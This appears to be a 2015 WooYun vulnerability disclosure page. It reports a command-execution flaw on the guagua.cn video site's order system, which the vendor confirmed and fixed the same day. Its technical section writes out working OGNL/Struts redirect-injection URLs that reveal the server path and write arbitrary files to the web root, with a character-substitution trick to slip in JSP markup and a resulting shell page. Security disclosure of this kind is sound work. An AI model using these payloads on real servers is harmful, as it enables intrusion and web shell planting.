当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159322

漏洞标题:呱呱视频命令执行getshell

相关厂商:guagua.cn

漏洞作者: 路人甲

提交时间:2015-12-10 15:18

修复时间:2015-12-10 18:01

公开时间:2015-12-10 18:01

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-10: 厂商已经确认,细节仅向厂商公开
2015-12-10: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

呱呱视频命令执行getshell

详细说明:

呱呱视频http://www.guagua.cn/
漏洞点http://order.guagua.cn/buyRoom!default.jspa

命令显示网站路径 = /opt/hosts/guagua_vas_order_prj/
http://order.guagua.cn/buyRoom.jspa?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


QQ图片20151208135859.png


命令导出文件getshell

http://order.guagua.cn/buyRoom.jspa?redirect:${%23req%3D%23context.get(%27com.opensymphony.xwork.dispatcher.HttpServletRequest%27),%23a%3D%23req.getSession(),%23b%3D%23a.getServletContext(),%23c%3d%23b.getRealPath(%22/%22),%23fos%3dnew%20java.io.FileOutputStream(%23req.getParameter(%22p%22)),%23fos.write(%23req.getParameter(%22t%22).replaceAll(%22sbtest%22,%20%22%3C%22).replaceAll(%22sbtest%22,%20%22%3E%22).getBytes()),%23fos.close(),%23matt%3D%23context.get(%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%22OK..%22),%23matt.getWriter().flush(),%23matt.getWriter().close()}&t=wooyun%20test&p=/opt/hosts/guagua_vas_order_prj/wooyun.txt


漏洞文件导出证明:http://order.guagua.cn/wooyun.txt

漏洞证明:

漏洞文件导出证明:http://order.guagua.cn/wooyun.txt

QQ图片20151208140627.png


http://order.guagua.cn/x.jsp

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-10 17:59

厂商回复:

感谢提供....

最新状态:

2015-12-10:已更新